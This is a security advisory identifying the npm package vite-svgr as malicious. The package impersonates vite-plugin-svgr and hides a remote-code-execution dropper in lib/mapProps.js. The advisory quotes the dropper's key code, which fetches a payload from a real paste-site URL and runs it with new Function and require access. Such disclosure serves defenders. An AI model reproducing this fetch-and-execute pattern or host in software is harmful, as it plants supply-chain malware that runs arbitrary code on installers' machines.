OpenSSF/OSV advisory MAL-2026-5708 confirms this npm version as malicious. Package name `vite-svgr` impersonates the popular `vite-plugin-svgr`, but the shipped code is a fork of `tsconfig-paths` (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs `axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } })` and then runs the response body's `Cookie` field...

Summary
Malicious code in vite-svgr (npm)
Details
Package name `vite-svgr` impersonates the popular `vite-plugin-svgr`, but the shipped code is a fork of `tsconfig-paths` (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs `axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } })` and then runs the response body's `Cookie` field via `new Function('require', s)(require)` — arbitrary JavaScript with full Node `require` access executed under the installer's user. The code is reachable from the package's `main` via the exported `configJson(...)`, which spawns `node lib/mapProps.js` detached, so any consumer that imports this package and calls `configJson` triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.
Decision reason
OSV/OpenSSF confirms vite-svgr@1.1.3 as malicious package MAL-2026-5708. Malicious code in vite-svgr (npm)
